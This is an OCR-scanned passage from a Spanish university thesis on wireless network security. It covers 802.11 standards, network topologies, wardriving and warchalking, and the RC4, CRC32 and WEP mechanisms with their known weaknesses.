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Durante los ultimos afios de mi etapa estudiantil universitaria en la Universidad Carlos
Il de Madrid, me ha despertado especial atencion el tema de la auditoria y seguridad,
en especial los temas que a continuacién vamos a tratar. La auditoria inaldmbrica.

Como objetivo de mi proyecto pretendo dar a conocer a cualquier persona, empresa o
institucion que posea un Sistema de red inalambrica los peligros que conlleva tener un
sistema que no esté controlado y debidamente asegurado.

En la documentacidn que voy a aportar quiero expresar la verdadera importancia y el
auge que estan teniendo las redes inaldmbricas.

Con el paso de los dias podemos ir observando como estas, van incrementando tanto
en restaurantes, centros comerciales, empresas, universidades, etc. Con las redes
inaldmbricas, lo que se pretende es tener las mismas funcionalidades que las redes
cableadas, pero con un menor coste, mayor elasticidad y ligereza.

Por otro lado voy a mostrar la topologia y el modo de funcionamiento basico, con esto
se va a comprender mejor porque, para la instalacion de una red inaldambrica, a pesar
de tener numerosas ventajas, estas presentan un problemas de seguridad, que
solventaremos utilizando mecanismos de cifrado para garantizar la confidencialidad.

Analizaremos los diferentes tipos de ataques (tanto pasivos, como activos), los
métodos para captar redes inalambricas inseguras, la utilizacion de herramientas para
descifrar redes.

Comprobaremos en detalle los diferentes mecanismos de cifrados WEP (Wired
Equivalent Protocol), WPA (Wi-Fi Protected Access), WPA2, mecanismos de filtrado de
MAC SSID, sistemas IDS (Sistemas de deteccion de intrusos), etc.

Para finalizar una vez realizado el analisis anterior trataremos de dar una serie de
pautas que nos ayudaran a mantener la seguridad de nuestra red inaldambrica y a
realizar un disefio éptimo de la red.
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During the last years of my time university studentat the University Carlos Il
Madrid, the issue of security and audit it woke me special attention, especially the
issues then we will try. The wireless audit.

Like aim of my project | want to inform any person, company or institution that has a
wireless network system of the dangers of having a system that is not controlled and
adequately protected.

The documentation that | will bring | want to express the true significance and the
boom being experienced by wireless networks.

With the passage of time we can be observed how this one is growing up in
restaurants, shopping centers, universities, etc. With the wireless networking, the aim
is to havethe same features as wired networks, but with a lower cost, greater
flexibility and lightness.

On the other hand | will show the topology and basic operating mode, with this is
better understood why for the installation of a wireless network, despite having
numerous advantages, they present a safety problem, but if we use encryption
mechanisms, we solve to ensure confidentiality.

We will analyze the different types of attacks (both passive and active), the methods to
capture unsafe wireless networks, the use tools to crack networks.

We will check in detail the different mechanisms of encrypted WEP (Wired Equivalent
Protocol), WPA (Wi-Fi Protected Access), WPA2, MAC filtering mechanisms SSID, IDS
(intrusion detection systems, etc.).

To finish when the above analysis are ended, we will try to give a set of guidelines to
help us maintain the security of our wireless network and to an optimal network
design.
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En la introduccion vamos a realizar una breve definicién de lo que es el término red
inaldmbrica (Wireless network en inglés). Es un término que se utiliza en informatica
para distinguir la conexién de nodos sin necesidad de una conexién fisica o conexién
por medio de cables. La transmisidon de datos y la recepcion de la misma se efecttdan a
través de puertos y por medio de ondas electromagnéticas.

Como ventaja principal de este tipo de redes aparece en los costes, ya que prescinde
del cable y de las conexiones fisicas entre los distintos nodos, por otro lado una gran
desventaja es la seguridad que requiere, ya que debemos estar bien protegidos frente
a los intrusos, para ello es necesario que nuestra seguridad sea robusta.

Actualmente las redes inaldmbricas son una de las tecnologias mas competitivas.
Categorias [1]
Existen dos categorias de las redes inalambricas.

e larga distancia: Esta categoria se utiliza para englobar a las redes que
utilizamos para distancias grandes tales, como otra ciudad u otro pais.

e (Corta distancia: Esta categoria se utiliza para englobar a las redes que
utilizamos para distancias cortas tales, como las que aparecen en un mismo
edificio o en varios edificios cercanos no muy retirados.

WAN(Wide Area Network)

MAN(Metropolitan Area Network

LAN (Local Area Network)

PAN
(Personal Area Network)

PAN LAN MAN WAN
Estandar Bluetooth  |802.11a, b,g,n HiperLAN |802.11, LMDS GSM,GPRS,CDMA, 2.5G, 3G, HSDPA
Velocidad <IMbps 2 a 600Mbps >22Mbps 10kbps a 7,2Mbps
Rango(metros) |Corto alcance |Medio alcance Medio-largo alcance Largo alcance
Aplicaciones |p2p, d2d Redes para empresa Sistema de tratamiento de mensajes, Acceso y transferencia de ficheros |PDAS,Smartphones,etc

llustracién 1. Clasificacion de redes inalambricas
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Cobertura y estandares. [1]
Segun su cobertura, se pueden clasificar en diferentes tipos:
Wireless Personal Area Network (WPAN)

En cuanto a WPAN o redes de cobertura personal, nos encontramos con tecnologias
tales como HomeRF (es un estandar que nos permite conectar todos los dispositivos
de la casa, como pueden ser los teléfonos y ordenadores mediante un receptor
central.); RFID (es un sistema remoto de almacenamiento y recuperacién de datos con
el propdsito de transmitir la identidad de un objeto, mediante ondas de radio); ZigBee
(basado en la especificaciéon IEEE 802.15.4 y utilizado en domética); Bluetooth (es un
protocolo basado en la especificacién IEEE 802.15.1).

Wireless Local Area Network (WLAN)

Si hablamos de WLAN o redes de area local nos encontramos con tecnologias tales
como HIPERLAN (es un estandar basado en el IEEE 802.11 perteneciente al ETSI cuyas
siglas en ingles son “High Performance Radio LAN”).

Wireless Metropolitan Area Network (WMAN)

En el apartado de WMAN o redes de area metropolitana, tratamos las redes que se
basan en la tecnologia WiMAX (es un estandar basado en la norma IEEE 802.16, cuyas
siglas son “Worldwide Interoperability for Microwave Access” y se asemeja al
protocolo WIFI, pero con mayor cobertura y mayor ancho de banda. También las redes
gue se basan en otras tecnologias tales como LMDS (Local Multipoint Distribution
Service).

Wireless Wide Area Network (WWAN)

Por ultimo hablaremos de las WWAN o redes inaldambricas de area amplia como
aquellas que utilizan tecnologia basada en WiMAX, UMTS (Universal Mobile
Telecommunications System), GSM, GPRS, EDGE, CDMA2000, CDPD, Mobitex, HSPA,
HSDPA, 3G para transferir los datos, LMDS y Wi-Fi.
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llustracion 2. Cobertura y Estandares

Como este proyecto se va a centrar en las WLAN, a continuaciéon vamos a explicarlas
en detalle.
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El IEEE 802.11 nos va a definir las caracteristicas de una red de area local inalambrica
(WLAN). Wi-Fi es el grupo que nos va a asegurar responder la afinidad entre
dispositivos que utilizan el estandar 802.11.

Una red Wi-Fi se define asi porque es una red que cumple con el estandar 802.11.

™

llustracidn 3. Logotipo Wi-Fi

Con esta tecnologia podemos crear redes inaldmbricas con una velocidad elevada,
todo ello se consigue siempre que el dispositivo que utilicemos para realizar la
conexion no esté muy alejado o aislado del punto de acceso.

En el caso practico, este tipo de redes admite Smartphones, PDAS, Equipos de
sobremesa, ordenadores portatiles, o cualquier otro tipo de dispositivo de alta
velocidad cuyas propiedades permitan una conexidon dentro de un radio de 10 a 50
metros en lugares cerrados o de un radio de cientos de metros al aire libre.

Hoy en dia los diferentes proveedores de acceso, estdn empezando a dar cobertura las
areas con una gran concentracion de usuarios (como son aeropuertos, hoteles,
estaciones de autobus y trenes) con redes inalambricas.
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Introduccion a Wi-Fi (802.11)

El estandar 802.11 establece la capa fisica y la capa de enlace de datos del modelo OSI
para las conexiones inalambricas.

La capa fisica ofrece DSSS, FHSS e Infrarrojo. Esta capa delimita la modulacién de las
ondas de radio y las caracteristicas de sefalizacidn utilizadas para transmitir datos.

La capa de enlace de datos se compone por la subcapa (LCC) o subcapa de control de
enlace I6gico y por la subcapa (MAC) o subcapa de control de acceso al medio. Esta
capa define la interfaz entre el bus del equipo y la capa fisica, en particular un método
de acceso parecido al utilizado en el estandar Ethernet, y las reglas para la
comunicacion entre las estaciones de la red.

Capa de enlace de datos 802.2

(MAC) 802.11

€ fisi

(Pa:; i DSSS | FHSS | Infrarrojo

Tabla 1. Capa de enlace y Capa Fisica

Estandares Wi-Fi

El 802.11 aparece como el primero de los estandares que nos permite un ancho de
banda de hasta 2 Mbps. Este estandar se ha ido modificando para optimizar vy
conseguir mayor ancho de banda (incluyendo también 802.11a, 802.11b, 802.11g,
802.11n) y para garantizar mayor seguridad o compatibilidad.

802.11n es una propuesta de modificacidn al estandar IEEE 802.11-2007 para mejorar
significativamente el rendimiento de la red mas alla de los estandares anteriores, tales
como 802.11b y 802.11g, con un incremento significativo en la velocidad maxima de
transmisidon de 54 Mbps a un maximo de 600 Mbps. Actualmente la capa fisica soporta
una velocidad de 300Mbps, con el uso de dos flujos espaciales en un canal de 40 MHz.
Dependiendo del entorno, esto puede traducirse en un rendimiento percibido por el
usuario de 100Mbps. [2]
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Nombre
del
estandar

Nombre

Descripcion

802.11a

Wifis

El estandar 802.11 (llamado WiFi 5) admite un
ancho de banda superior (el rendimiento total
maximo es de 54 Mbps aunque en la practica es de
30 Mpbs). El estandar 802.113a provee ocho canales
de radio en |a banda de frecuencia de 5 GHz

802.11b

Wifi

El estandar 802.11 es el mas utilizado actualmente.
Ofrece un rendimiento total maximo de 11 Mpbs (6
Mpbs en la practica) y tiene un alcance de hasta 300
metros en un espacio abierto. Utiliza el rango de
frecuencia de 2,4 GHz con tres canales de radio
disponibles.

802.11c

Combinacion del
802.11yel 802.1d

El estandar combinado 802.11c no ofrece ningtn
interés para el publico general. Es solamente una
version modificada del estandar 802.1d que permite
combinar el 802.1d con dispositivos compatibles
802.11 (en el nivel de enlace de datos).

802.11d

Internacionalizacion

El estandar 802.11d es un complemento del
estandar 802.11 que esta pensado para permitir el
uso internacional de las redes 802.11 locales.
Permite que distintos dispositivos intercambien
informacion en rangos de frecuencia segun lo que
se permite en el pais de origen del dispositivo.

802.11e

802.11f1

802.11g

Mejora de la calidad
del servicio

Itinerancia

El estandar 802.11e esta destinado a mejorarla
calidad del servicio en el nivel de 1a capa de enlace
de datos. El objetivo del estandar es definir los
requisitos de diferentes paquetes en cuanto al
ancho de banda y al retardo de transmisién para
permitir mejores transmisiones de audio y video.

El 802.11f es una recomendacion para proveedores
de puntos de acceso que permite que los productos
sean mas compatibles. Utiliza el protocolo APP que
le permite a un usuario itinerante cambiarse
claramente de un punto de acceso a otro mientras
esta en movimiento sin importar qué marcas de
puntos de acceso se usan en la infraestructura de la
red. También se conoce a esta propiedad
simplemente como itinerancia.

El estandar 802.11g ofrece un ancho de banda
elevado (con un rendimiento total maximo de 54
Mbps pero de 30 Mpbs en la practica) en el rango de
frecuencia de 2,4 GHz El estandar 802.11g es
compatible con el estandar anterior, el 802.11b, lo
que significa que los dispositivos que admiten el
estandar 802.11g también pueden funcionar con el
802.11b.

802.11h

El estandar 802.11h tiene por objeto unir el estandar
802.11 con el estandar europeo (HiperLAN 2, de ahi
Ia h de 802.11h) y cumplir con las regulaciones
europeas relacionadas con el uso de las
frecuencias y el rendimiento energético.

802.11i

El estandar 802. 11i esta destinado a mejorar la
seguridad en la transferencia de datos (al
administrar y distribuir claves, y al implementar el
cifrado y la autenticacion). Este estandar se basa en
el AES (estandar de cifrado avanzado) y puede cifrar
transmisiones que se ejecutan en las tecnologias
802.113, 802.11b y 802.11g.

802.11Ir

El estandar 802 11r se elaboré para que pueda usar
sefiales infrarrojas. Este estandar se ha vuelto
tecnolégicamente obsoleto.

802.11j

El estandar 802.11j es para la regulacioén japonesa
lo que el 802.11h es para la regulacidn europea.

Tabla 2. Estandares Wifi
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Estandares Fisicos

Los estandares fisicos son modificaciones del estdndar 802.11 y aplican de modos
diferentes, como consecuencia de esto se conseguiran diferentes velocidades de
transferencia, segun el rango en el que operen.

Estandar Frecuencia Velocidad [|Rango
WiFi A (802.11a) |5 GHz 54 Mbit/s |10 m

WiFi B (802.11b) |2,4 GHz 11 Mbit/s  ||100 m
WiFi G (802.11g) ||2,4 GHz 54 Mbit/s |{100 m
WiFi N (802.11n) ||2,4 GHzy 5,4 GHz (Simultaneamente) 600 Mbit/s [300 m

Tabla 3. Rango y flujo de datos

802.11a

Este estdndar permite una velocidad maxima de hasta 54 Mbps, lo que nos indica que
es mas rapido que el estandar 802.11b (5 veces mads) y trabaja en un rango de 30
metros aproximadamente. El estandar 802.11a se basa en la tecnologia llamada OFDM
(multiplexacidn por division de frecuencias ortogonales). Por ultimo indicar que este
estandar se transmite en un rango de frecuencia de 5 GHz y maneja 8 canales no
superpuestos.

Una vez explicado lo anterior podemos deducir que se presentan incompatibilidades
entre los dispositivos que utilizan el estandar 802.11a vy los dispositivos con el estandar
802.11b. Por otro lado nos podemos encontrar con dispositivos hardware que integren
ambos chip y sean compatibles con ambos, a los que se conoce como dispositivos de
"banda dual". [3]
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Velocidad hipotética

(en entornos cerrados) Rango
54 Mbit/s 0m
48 Mbit/s 7 m
36 Mbit/s 5 m
24 Mbit/s 30m
12 Mbit/s S0m
6 Mbit/s om

802.11b

Este estandar permite una velocidad maxima de hasta 11 Mbps, y trabaja en un rango
de hasta unos 400 metros, de los cuales, en entornos cerrados, el rango es de hasta

Tabla 4. 802.11a

unos 100 metros y al aire libre de hasta 300 metros. [4]

. . ,.. |[Rango Rango
Velocidad hipotética -
(en entornos cerrados)||(al aire libre)
11 Mbit/s 50m 200 m
5,5 Mbit/s 75 m 300 m
2 Mbit/s 100 m 400 m
1 Mbit/s 150 m 500 m

Tabla 5. 802.11b

Proyecto Fin de Carrera: Diego
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802.11g

Opera con una velocidad maxima de transferencia de datos de 54 Mbps. Este estandar
trabaja en un rango de hasta unos 70 metros en entornos cerrados y de mas de 300

metros al aire libre. [5]

Velocidad hipotetica ?eanni:tornos cerrados) I(Raa:nagilf)e libre)
54 Mbit/s 27 m 75m

48 Mbit/s 29 m 100 m

36 Mbit/s 30 m 120 m

24 Mbit/s 42 m 140 m

18 Mbit/s 55 m 180 m

12 Mbit/s 64 m 250 m

9 Mbit/s 75 m 350 m

6 Mbit/s 90 m 400 m

Tabla 6. 802.11g
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802.11n

IEEE 802.11n esta construido basdndose en estdndares previos de la familia 802.11,
agregando Multiple-Input Multiple-Output (MIMO) y unién de interfaces de red
(Channel Bonding), ademas de agregar tramas a la capa MAC.

MIMO es una tecnologia que usa multiples antenas transmisoras y receptoras para
mejorar el desempeno del sistema, permitiendo manejar mas informacion (cuidando la
coherencia) que al utilizar una sola antena. Dos beneficios importantes que provee a
802.11n, son la diversidad de antenas y el multiplexado espacial.

La tecnologia MIMO depende de sefiales multiruta. Las sefiales multiruta son sefales
reflejadas que llegan al receptor un tiempo después de que la sefial de linea de visién
(line of sight, LOS) ha sido recibida. En una red no basada en MIMO, como son las
redes 802.11a/b/g, las sefiales multiruta son percibidas como interferencia que
degradan la habilidad del receptor de recobrar el mensaje en la sefial. MIMO utiliza la
diversidad de las sefiales multirutas para incrementar la habilidad de un receptor de
recobrar los mensajes de la sefial. [6]

Velocidad hipotética Rango Velocidad hipotética Rango )
(en entornos cerrados) (al aire libre)
7,2 Mbit/s 70m 15 Mbit/s 250 m
14,4 Mbit/s 90m 30 Mbit/s 330m
21.7 Mbit/s 120m 45 Mbit/s 410 m
28.9 Mbit/s 150m 60 Mbit/s 490 m
43.3 Mbit/s 180m 90 Mbit/s 570 m
57.8 Mbit/s 200m 120 Mbit/s 650 m
65 Mbit/s 210m 135 Mbit/s 730 m
72 Mbit/s 230m 150 Mbit/s 820 m

Tabla 7. 802.11n

Proyecto Fin de Carrera: Diego Pagina 22 de 128
Escobar Arevalillo




SEGURIDAD Y CONTROL EN COMUNICACIONES
INALAMBRICAS

Topologia de red se suele utilizar para referirse a la disposicion geométrica de las
estaciones o nodos de una red, su conexidn y al trayecto seguido por las sefales a
través de la conexidn fisica. Podemos decir que una topologia de red es la disposicién o
configuracion de los diferentes componentes de una red y la forma en que se ubica la
informacién.

Las topologias, se crearon o se desarrollaron a raiz de que se queria establecer un
orden para evitar el caos que se crearia en las estaciones de una red que fuesen
creadas de forma aleatoria. La topologia tiene como primordial objetivo hallar el que
todos los usuarios pueden conectarse a todos los recursos de red de la manera mas
barata y eficiente; al mismo tiempo capacita la red para agradar las demandas de los
usuarios con un tiempo de red lo mas reducido posible.

Para determinar que topologia resulta mas eficiente para una red, se deben tener en
cuenta cuantiosos parametros, como el tipo de acceso fisico, el nUmero de maquinas
gue se van a conectar, etc.

Diferenciamos dos aspectos: Topologia fisica y Topologia Iégica. [7]

Estrella Mixta

Bus
Anillo Doble Anillo %
Totalmente

Arbol Malla Conexa

UK

llustracidon 4. Topologias de red
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Topologia fisica

Se refiere a la disposicion fisica de las maquinas, los dispositivos de red. Dentro de este
tipo de tipologia podemos diferenciar 2 tipos conexiones: punto a punto y multipunto.

En las conexiones punto a punto aparecen conexiones entre pares de estaciones
contiguas, sin estaciones intermedias.

AT r De 1 km hasta S0 km ,1 I,

i
i
Router/Radio : Router / Radio
i
|

Switch wymm
Semver

o

Semnver i .

o~
-
'
| ! ﬂ
i
i
'
|

i Lan Inalambrica

u W) @

llustracion 5. Conexién Punto a Punto, con una Red de Area Local Inaldmbrica (WLAN)

Se suele utilizar para establecer, comunicaciones de un edificio a otro por ejemplo.
D
i b -.--.-l =

N R

llustracién 6. Conexion punto a punto entre
edificios
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Las conexiones multipunto estas solo cuentan con un uUnico canal de conexién, por lo
gue se comparte por todas las estaciones de la red. Cualquier dato o conjunto de datos
gue envie una estacidn, sera recibido por todas estaciones.

Antena r De 1 km hasta S0 km . i~ De 1 km hasta S0 km 1 Atans
Router / Radio Router/Radio Router / Radio
Server Switch l Server
| . | J ®

Swmch - &
<

| | I Server QE

Lan Lan Inalambrica

llustracién 7. Conexién Punto-Multipunto, con una Red de Area Local Inaldmbrica (WLAN)

Suelen utilizarse donde hay un equipo base o central y todos trasmiten a él. Seria la
solucion para enlazar una matriz y sucursales

du\‘ "'(hlb
By M

- -
&.-o-mm-m

o‘ pat Y
‘-h"““" B , T «-‘P
llustracién 8. Conexion Multipunto entre sede central y
puntos
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La topologia Iégica

Llamamos asi a la forma mediante la cual las estaciones realizan su comunicaciéon a
través de un medio fisico. Estas estaciones se comunicaran de forma directa o
indirecta dependiendo del contexto de cada momento.

Tipos de topologias:

Atendiendo a topologia ldgica, distinguimos 3 tipos:

e Ad-hoc
e Infraestructura
e Mesh

Ad-Hoc: utilizamos ad-hoc cuando queremos conectar equipos o dispositivos
inalambricos entre si y formar una red punto a punto, con esto conseguiremos una red
en la que cada uno de los equipos que pertenezcan a esta, funcionardn como cliente y
como punto de acceso de forma simultanea.

A esta configuracidn la llamaremos IBSS o conjunto de servicio basico independiente.

El conjunto de servicio basico independiente, es una red que se compone de como
minimo de dos estaciones y no utiliza ningln punto de acceso, por eso este servicio
crea una red transitoria que les permitira a los usuarios, que estén utilizando este
servicio, el intercambio de datos.

En estas redes el rango de conjunto de servicio basico, también llamado BSS esta
determinado, por el rango de cada estacién. Esto nos viene a decir que si dos
estaciones de la red estdn fuera del alcance de la otra, no podran comunicarse con
ella, y por lo tanto no podrdn ver a las demas. A diferencia del modo Infraestructura
(que veremos a continuacion), es una red inaldmbrica restringida, ya que no tiene un
sistema de distribucién que pueda mandar tramas desde una estacion a otra.

Y INTERNET
\__

- NOTEBOOK CON
~— ADAPTADOR USB

| \
!gh§} 27

NOTEBOOK CON
PC DE ESCRITORIO CON ADAPTADOR PCMCIA
ADAPTADOR PCI
llustracién 9. Esquema de una conexion a Internet

mediante redes Ad-Hoc y puentes de red
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Infraestructura: manejaremos infraestructura cuando queramos conectar dispositivo
o estaciéon (EST) informatica a través de un enlace inaldmbrico. Al conjunto de los
dispositivos situados en el area de cobertura y el punto de acceso se les denomina BBS
o conjunto de servicio basico. El modo infraestructura tiene un identificador BSSID y
este corresponde al punto de acceso de la direccion MAC.

Red

Punto de 3cceso

Clietes WiFi

llustracién 10. Esquema de conexion Infraestructura 1

Para formar un Servicio Extendido (ESS), necesitaremos conectar varios puntos de
acceso con un sistema de distribucion. Este sistema puede estar formado o bien de
forma inaldmbrica o bien por un cable entre dos puntos de acceso.

5
g:ﬁ

iste e distribucion

BSS E
s W B

BSS

llustracién 11. Esquema de conexidn Infraestructura 2
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Un sistema de servicio extendido esta formado por un identificador del conjunto
denominado ESSID de 32 caracteres, ademas nos da el nombre de la red y nos sirve
para que una estacion pueda conectarse a nosotros, ya que si no sabe el ESSID no
sabria donde deberia conectarse.

Dependiendo de la calidad de sefial el adaptador de red de nuestro equipo, identificara
el punto de acceso con mejor sefal y se cambiard a este. Los sistemas de distribucién
nos van a permitir que los diferentes puntos de acceso se comuniquen entre si para
intercambiar informacidn, con esto conseguimos una comunicacion transparente entre
puntos de acceso.
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Mesh: llamaremos mesh a la composicidon de dos topologias de las redes inaldmbricas,
la topologia Ad-hoc vy la topologia infraestructura. Esencialmente las redes que utilizan
esta topologia son redes con topologia de infraestructura pero que permiten unirse a
la red a dispositivos que a pesar de estar fuera del rango de cobertura de los puntos de
acceso estan dentro del rango de cobertura de alguna tarjeta de red (TR) que
directamente o indirectamente estd dentro del rango de cobertura de un punto de
acceso (PA).

En esta topologia vamos a permitir la comunicacion de diferentes tarjetas de red sea
cual sea su punto de acceso. Con esto sabemos que las tarjetas de red en lugar de
enviar los paquetes al punto de acceso, pueden enviarselos a otras para que lleguen a
su destino.

Para que se pueda trabajar serd preciso establecer un protocolo de enrutamiento que
nos apruebe la transmision de informacién desde el origen al destino con el menor
numero de saltos posibles. Ademas veremos que si se nos cae un nodo no se producira
la caida de la red, por lo que vemos que es resistente a fallos. [8]

City-Link La;la.‘hml
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llustracién 12. Esquema de conexién Topologia Mesh
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3. Seguridad en redes Inalambricas: Necesidad,
problemas y mecanismo de defensa

En el siguiente punto vamos a tratar las necesidades por las cuales es necesario crear
WLANs seguras. A continuacién repasaremos los diferentes ataques a los que se
exponen y diferentes técnicas empleadas en dichos ataques.

Wardriving: se basa en la busqueda de redes inaldmbricas con el objetivo de conseguir
acceso gratis a internet o bien entrar en redes publicas o privadas. Implica usar un
coche o camioneta y un ordenador equipado con Wi-Fi, como un portatil o una PDA,
para detectar las redes. Esta actividad es parecida al uso de un escaner para radio. [9]

El procedimiento para llevar a cabo el wardriving implica la necesidad de un automovil
conduciendo por una urbe, de esta manera, haciendo uso de un portdtil con
herramientas preparadas para tal efecto ira detectando redes por los lugares por los
cuales se va circulando, no obstante este procedimiento también es posible realizarlo
caminando a pie.

llustracién 13. Realizando Wardriving en vehiculo movil
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llustracion 14. Equipo Necesario para realizar Wardriving (Portatil, PCMCIA “tarjeta red" con antena
externa y GPS)

Cuando hemos capturado y obtenido todas y cada una de las caracteristicas de la red
elegida, normalmente se suele utilizar un lenguaje de simbolos mediante el cual se
“publica” en un lugar visible (pared o suelo) la informacién recabada, para algin otro
“usuario” que desee conseguir acceso a la red en cuestion “WarChalking”. [10]

Simbolo Significado
Nodo de red abierto.

SSID

Sin seguridad implementada
) (

Ancho de Banda

Nodo de red cerrado.
SSID

Con seguridad implementada

()

SSID Contacto

Nodo de red cerrado.

Con seguridad WEP
(W)

Ancho de banda

llustracién 15. Simbologia utilizada en Warchalking[10]
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llustracion 16. Warchalking en el que se indica el nombre del SSID “QBAWIan”, que esta abierto y el ancho de
Banda 22

Una vez aclaradas las técnicas anteriores, las cuales implican que un determinado
usuario no deseado, se acomode e instale un PA sin nuestro conocimiento, uniéndolo
a la red local y dejandolo inseguro con una configuracion insegura, de tal forma que
cualquiera que pase por el drea de cobertura de nuestro Punto de Acceso sera capaz
de aprovecharse de las 10 caracteristicas de nuestra red, y tener acceso a informacion
sensible y confidencial. Para evitar este tipo de problemas es conveniente realizar de
vez en cuando un rastreo y establecer un tipo de proteccién adecuada.

Una vez citado esto vamos a explicar los diferentes tipos de algoritmo de cifrados que
tenemos a nuestro alcance.
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WEP, acronimo de Wired Equivalent Privacy o “Privacidad Equivalente a Cableado” fue
parte del estandar IEEE 802.11 original, de 1999. [11]

El propdsito del WEP fue dar, a las redes inaldambricas, un nivel de seguridad
comparable al de las redes de cableado. La necesidad de un protocolo como WEP fue
obvio, las redes inalambricas usan ondas de radio y son mas susceptibles de ser
interceptadas.

Este protocolo no se cred por matemadticos expertos en criptografia, por lo que se
demostrd que era vulnerable en el algoritmo RC4.

Algoritmo RC4

RC4 es un algoritmo de cifrado en flujo (Ron’s Cipher 4), fue desarrollado por Ronald
Rivest en 1987 y mantenido en secreto compartido con la empresa RSA Data Security.
El problema de los algoritmos de seguridad que se mantienen en secreto se da en el
momento que deja de serlo, y con RC4 ocurrio el 9 de Septiembre de 1994, cuando
aparecio de forma andénima en Internet. [12][13][14]

Consiste en 2 algoritmos: 1-Key Scheduling Algorithm (KSA) y 2- Pseudo-Random
Generation Algorithm (PRGA). Ambos de estos algoritmos usan 8-by-8 S-box, el cual es
solo un array de 256 numeros en el cual ambos son Unicos en cuanto a rango y su valor
va desde 0 hasta 255. Todos los numeros de 0 a 255 existen dentro del array, pero
estan solo mezclados de diferentes maneras, el KSA se encarga de realizar la primera
mezcla en el S-Box, basado en el valor de la semilla dada dentro de él, y esta "semilla"
puede ser de 256 bits de largo.

Primero, el S-box array es llenado con valores secuenciales desde 0-255. Este array
sera llamado simplemente S. Entonces, el otro array de 256-bits es llenado con el valor
de la "semilla", repitiendo como sea necesario hasta que todo el array es llenado. Este
array serda llamado K, entonces el array S es mezclado usando el siguiente
pseudocddigo.

o
~

or i = 0 to 255

L

3 = (3J+S[1i] + K[i]) mod 256;
intercambia S[i] and S([j]:
llustracién 17. Array RC4_1

Una vez que eso es hecho, la S-box es intercambiada basandose en el valor de la
"semilla". Esa es la "Key" programada para el algoritmo, algo sencillo.
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Ahora cuando el keystream data es necesitado, el Pseudo-Random Generation
Algorithm (PRGA) es usado. Este algoritmo tiene 2 contadores, el i y la j, en el cual
ambos son inicializados en 0 para comenzar. Después de eso, cada bit de keystream
data es usado en el siguiente Pseudo-Code:

i= (i + 1) mod 256;

3 = (3 + S[1]) mod 256;
intercambia S[i] and S[j]:
t = (S[i] + S[j] mod 256;
Exponer valor de S[t]:

llustracién 18. Array RC4_2

El valor expuesto del byte de S[t] es el primer byte del keystream. Este algoritmo es
repetido para conseguir bytes adicionales de keystream. RC4 es simplemente
suficiente, que puede ser facilmente memorizado e implementado en el aire, y puede
llegar a ser un poco "mas" seguro si es usado apropiadamente, en fin, hay algunos
problemas con la forma que RC4 es usado con el cifrado WEP en Wi-Fi.

i ]

3¢

0o 1 2 S[i]+S[j] 253 254 255
S
A\ ) _
S[il1>1<! S[i]
A\
K S[i]+SIjl
llustracion 19. Algoritmo RC4
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En 2001, Scott Fluhrer, Itsik Mantin y Adi Shamir publicaron un articulo en el que
mostraban las dos debilidades del algoritmo las de no-variacidon y los ataques IV
conocidos. Estos se basan en que para ciertos valores de clave es permisible que los
bits de clave de cifrado (aunque normalmente cada bit de un flujo de clave tiene una
posibilidad del 50% de ser diferente del anterior). Como la clave de cifrado esta
compuesta concatenando la clave secreta con el IV, ciertos valores de IV muestran
claves débiles. [15]

Estas vulnerabilidades fueron aprovechadas por herramientas de seguridad como
AirSnort, permitiendo que las claves WEP fueran descubiertas analizando una cantidad
de trafico suficiente. Aunque este tipo de atague podia ser desarrollado con éxito en
una red con mucho trafico en un plazo de tiempo razonable, el tiempo requerido para
el procesamiento de los datos era bastante largo. David Hulton (hlkari) ided un
método optimizado de este mismo ataque, tomando en consideracion no sélo el
primer byte de la salida RC4, sino también los siguientes. Esto resultdé en una ligera
reduccion de la cantidad de datos necesarios para el analisis.

La etapa de comprobacion de integridad también sufre de serias debilidades por culpa
del algoritmo CRC32 utilizado para esta tarea.

Funciéon CRC32

CRC es un tipo de funcidon que recibe un flujo de datos de cualquier longitud como
entrada y devuelve un valor de longitud fija como salida. El término suele ser usado
para designar tanto a la funcion como a su resultado. Pueden ser usadas como suma
de verificacion para detectar la alteracion de datos durante su transmisidon o
almacenamiento. Las CRC son populares porque su implementacion en hardware
binario es simple, son faciles de analizar matematicamente y son particularmente
efectivas para detectar errores ocasionados por ruido en los canales de transmision. La
CRC fue inventada y propuesta por W. Wesley Peterson en un articulo publicado en
1961. [16] [17] [18]
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Cdlculo de CRC:

La mecanica de la informatica con su lenguaje binario produce unas CRC simples. Los
bits representados de entrada son alineados en una fila, y el (n + 1) representa el
patron de bits del divisor CRC (llamado polinomio) se coloca debajo de la parte
izquierda del final de la fila. Aqui esta la primera de ellas para el calculo de 3 bits de
CRC:

11010011101100 <--- entrada
1011 <{--- divisor (4 bits)
01100011101100 <--- resultado

llustracién 20. Calculo CRC_1

Si la entrada que estd por encima del extremo izquierdo del divisor es 0, no se hace
nada y se pasa el divisor a la derecha de uno en uno. Si la entrada que esta por encima
de la izquierda del divisor es 1, el divisor es OR exclusiva en la entrada (en otras
palabras, por encima de la entrada de cada bit el primer bit conmuta con el divisor). El
divisor es entonces desplazado hacia la derecha, y el proceso se repite hasta que el
divisor llega a la derecha, en la parte final de la fila de entrada. Aqui esta el Ultimo

calculo:
00000000001110 <--- resultado de la multiplicacidén de célculo
1011 <--- divisor
00000000000101 <--- resto (3 bits)

llustracién 21. Calculo CRC_2

Desde la izquierda se dividen por cero todos los bits de entrada, cuando este proceso
termina el Unico bits en la fila de entrada que puede ser distinto de cero es n bits mas
a la derecha, en la parte final de la fila. Estos n bits son el resto de la division, y serd
también el valor de la funcion CRC (es el CRC escogido a menos que la especificacion
de algun proceso posterior lo cambie).
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Funcionamiento Protocolo WEP

En primer lugar se genera una semilla. Esta estd formada por un lado, por la clave que
proporciona el usuario (Key) que normalmente se introduce como una cadena de
caracteres o de valores hexadecimales. Esta clave ha de estar presente tanto en el
receptor como en el emisor por lo que es necesario introducirla manualmente en los
mismos. El otro elemento es un vector de 24 bits (IV, o vector de inicializacion)
generado aleatoriamente que ademas puede cambiar en cada frame. Las semillas mas
habituales son de 64 bits o de 128 bits. Una vez generada la semilla es llevada a un
generador de pseudonumeros aleatorios formando una cadena de longitud igual al
payload del frame mds una parte de comprobacién de la integridad de los datos de 32
bits (ICV). Este proceso se lleva a cabo mediante un algoritmo de cifrado llamado RC4.

Finalmente se combinan la clave de cifrado generada (keystream) con el payload/ICV
mediante una xor. Dado que para poder descifrar es necesario disponer de los bits de
IV, éstos son transmitidos sin cifrar en el propio frame.

>
Vector IV
de inicializacion (V. el T
emilla ifra de flujo
—> | | oA J > Texto
Clave secreta ®r—>| cifrado
Texto en claro >
Algoritmo de integridad|—————p | |

Sl Mensaje

integridad J

